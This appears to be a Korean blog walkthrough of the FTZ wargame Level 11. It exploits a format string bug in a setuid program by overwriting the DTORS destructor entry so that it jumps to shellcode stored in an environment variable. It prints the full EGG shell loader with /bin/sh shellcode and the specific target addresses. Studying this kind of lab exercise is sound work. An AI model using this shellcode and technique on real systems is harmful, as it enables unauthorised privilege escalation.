-
[FTZ Level11 풀이 ]System/FTZ 2018. 2. 15. 22:54
[Level11 Code]
123456789101112#include <stdio.h>#include <stdlib.h>int main( int argc, char *argv[] ){char str[256];setreuid( 3092, 3092 );strcpy( str, argv[1] );printf( str );}여러가지 방법으로 풀 수 있지만, 나는 FSB를 이용해서 풀어봤다.
pritnf( str ) 이 부분에서 FSB 취약점이 발생한다.
자세한 정리는 [이곳]에 해두었으니, 자세한 설명은 생략하겠다.
#공격 시나리오
1. EGG Shell로 환경변수에 쉘코드를 올린다.
2. FSB공격으로 attackme파일의 DTOR_END(소멸자)공간에 환경변수 주소를 저장한다.
3. attackme가 종료되면서 소멸자가 실행되면 쉘이 실행된다.
4. 쉘 획득!
여기서 DTOR_END(소멸자)란?
- GNU Compiler(gcc)에서는 컴파일할 때 CTORS / DTORS 두 개의 세그먼트를 만든다.
CTORS는 main함수 실행 전에 실행되고, DTORS는 main함수가 실행 된후에 실행된다.
나는 C++에서 생성자와 소멸자의 개념으로 이들을 이해하고 있다.
[EGG Shell Code]
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#include <stdlib.h>#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_esp(void) {__asm__("movl %esp,%eax");}int main(int argc, char *argv[]) {char *buff, *ptr, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i, eggsize=DEFAULT_EGG_SIZE;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (argc > 3) eggsize = atoi(argv[3]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);}if (!(egg = malloc(eggsize))) {printf("Can't allocate memory.\n");exit(0);}addr = get_esp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4){if(i == 1040){*(addr_ptr++) = 0x1234567;}else*(addr_ptr++) = addr;}ptr = egg;for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)*(ptr++) = NOP;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '\0';egg[eggsize - 1] = '\0';memcpy(egg,"EGG=",4);putenv(egg);memcpy(buff,"RET=",4);putenv(buff);system("/bin/bash");}cs 해당 코드를 컴파일 한 후 실행하면
이렇게 환경변수에 쉘이 올라가고, 해당 환경변수의 주소값을 출력해주는데
이 주소값은 실제 주소값과 다르니 따로 코드를 만들어서 다시 확인해줘야 한다.
[getenv( ) EGG]
12345678#include <unistd.h>int main(int agrc, char **argv){printf("%p\n",getenv("EGG"));return 0;}[실제 EGG 환경변수 주소]
실제 환경변수의 주소는 [0xbffff47a] 이다.
[attackme DTOR_END]
이제 attackme의 DTOR_END 주소를 알아내면 된다.
파일분석 명령어 중 [nm] 이라는 명령어가 있는데 이걸로 알아내면 된다.
[nm attackme]
DTOR_END의 주소는 [0x08049610] 이다.
이제 필요한 정보는 다 얻었으니 FSB공격을 해보자
[FSB Attack]
해당 페이로드를 입력하면
보는 것과 같이 Level12권한의 쉘이 따진것을 확인할 수 있다.
자 그럼 다음 Level12문제를 풀어보도록 하겠다.
'System > FTZ' 카테고리의 다른 글
[FTZ Level15 풀이] (0) 2018.02.16 [FTZ Level14 풀이] (0) 2018.02.16 [FTZ Level13 풀이] (0) 2018.02.16 [FTZ Level12 풀이] (0) 2018.02.15 HackerSchool Level1 문제풀이 (1) 2017.10.05 댓글